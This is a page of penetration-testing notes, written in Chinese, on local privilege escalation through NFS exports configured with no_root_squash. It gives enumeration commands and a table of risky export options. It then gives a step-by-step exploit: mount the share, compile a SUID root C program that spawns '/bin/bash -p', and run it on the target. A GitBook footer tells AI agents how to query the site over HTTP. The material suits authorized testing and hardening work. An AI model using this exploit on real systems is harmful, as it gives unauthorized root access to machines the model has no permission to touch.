> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/nfs-shares.md).

# NFS 共享

配置不当的 NFS 导出在以诸如以下危险选项导出可写共享时，可能允许本地权限提升 `no_root_squash`。在这种情况下，攻击者机器上的 root 可能在共享中创建文件，并在从目标主机访问时保持 root 所有权。

## 方法

* 从目标主机和攻击者机器枚举 NFS 导出。
* 查找可写共享和诸如以下危险导出选项 `no_root_squash` 或 `no_all_squash`.
* 从攻击者机器挂载共享，并创建验证影响所需的最小 SUID 概念验证。

## 快速检查

在目标主机上：

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

从攻击者机器上：

```bash
showmount -e target_ip
```

## 危险的导出选项

| 选项               | 风险                                |
| ---------------- | --------------------------------- |
| `no_root_squash` | 远程 root 可能会在导出中创建的文件上保留 root 所有权。 |
| `rw`             | 允许向导出的共享中写入。                      |
| `no_all_squash`  | 用户可能保留其原始 UID/GID 映射。             |
| 较大的客户端范围         | 更多主机可以挂载并与该导出交互。                  |

## 利用模式

在攻击者机器上：

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

在目标主机上：

```bash
/shared/folder/privesc
```

## 验证说明

```bash
ls -la /shared/folder/privesc
id
```

如果该二进制文件不是 root 所有，或者 SUID 位未保留，那么该导出很可能在对 root 进行了 squash，或者使用了限制性选项挂载。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/nfs-shares.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.